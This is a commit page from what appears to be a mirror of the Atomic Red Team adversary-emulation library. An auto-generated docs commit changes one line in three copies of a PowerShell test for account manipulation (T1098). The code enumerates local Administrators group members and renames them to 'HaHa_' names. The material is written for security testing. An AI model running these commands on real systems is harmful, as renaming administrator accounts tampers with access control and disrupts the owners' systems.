security-tools/atomic-red-team
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Generated docs from job=generate-docs branch=master [ci skip]

Browse Source
This commit is contained in:
Atomic Red Team doc generator
2023-05-23 14:13:38 +00:00
parent 47f54670b7
commit c3438e27b7
3 changed files with 3 additions and 3 deletions
Download Patch File Download Diff File Expand all files Collapse all files
atomics/Indexes/index.yaml
+1 -1
View File
@@ -64450,7 +64450,7 @@ persistence:
foreach($member in $fmm) {
if($member -like "*Administrator*") {
$account = $member.Name -replace ".+\\\","" # strip computername\
$account = $member.Name.Split("\")[-1] # strip computername\
$originalDescription = (Get-LocalUser -Name $account).Description
Set-LocalUser -Name $account -Description "atr:$account;$originalDescription".Substring(0,48) # Keep original name in description
Rename-LocalUser -Name $account -NewName "HaHa_$x$y$z" # Required due to length limitation
atomics/Indexes/windows-index.yaml
+1 -1
View File
@@ -56719,7 +56719,7 @@ persistence:
foreach($member in $fmm) {
if($member -like "*Administrator*") {
$account = $member.Name -replace ".+\\\","" # strip computername\
$account = $member.Name.Split("\")[-1] # strip computername\
$originalDescription = (Get-LocalUser -Name $account).Description
Set-LocalUser -Name $account -Description "atr:$account;$originalDescription".Substring(0,48) # Keep original name in description
Rename-LocalUser -Name $account -NewName "HaHa_$x$y$z" # Required due to length limitation
atomics/T1098/T1098.md
+1 -1
View File
@@ -54,7 +54,7 @@ $fmm = Get-LocalGroupMember -Group Administrators |?{ $_.ObjectClass -match "Use
foreach($member in $fmm) {
if($member -like "*Administrator*") {
$account = $member.Name -replace ".+\\\","" # strip computername\
$account = $member.Name.Split("\")[-1] # strip computername\
$originalDescription = (Get-LocalUser -Name $account).Description
Set-LocalUser -Name $account -Description "atr:$account;$originalDescription".Substring(0,48) # Keep original name in description
Rename-LocalUser -Name $account -NewName "HaHa_$x$y$z" # Required due to length limitation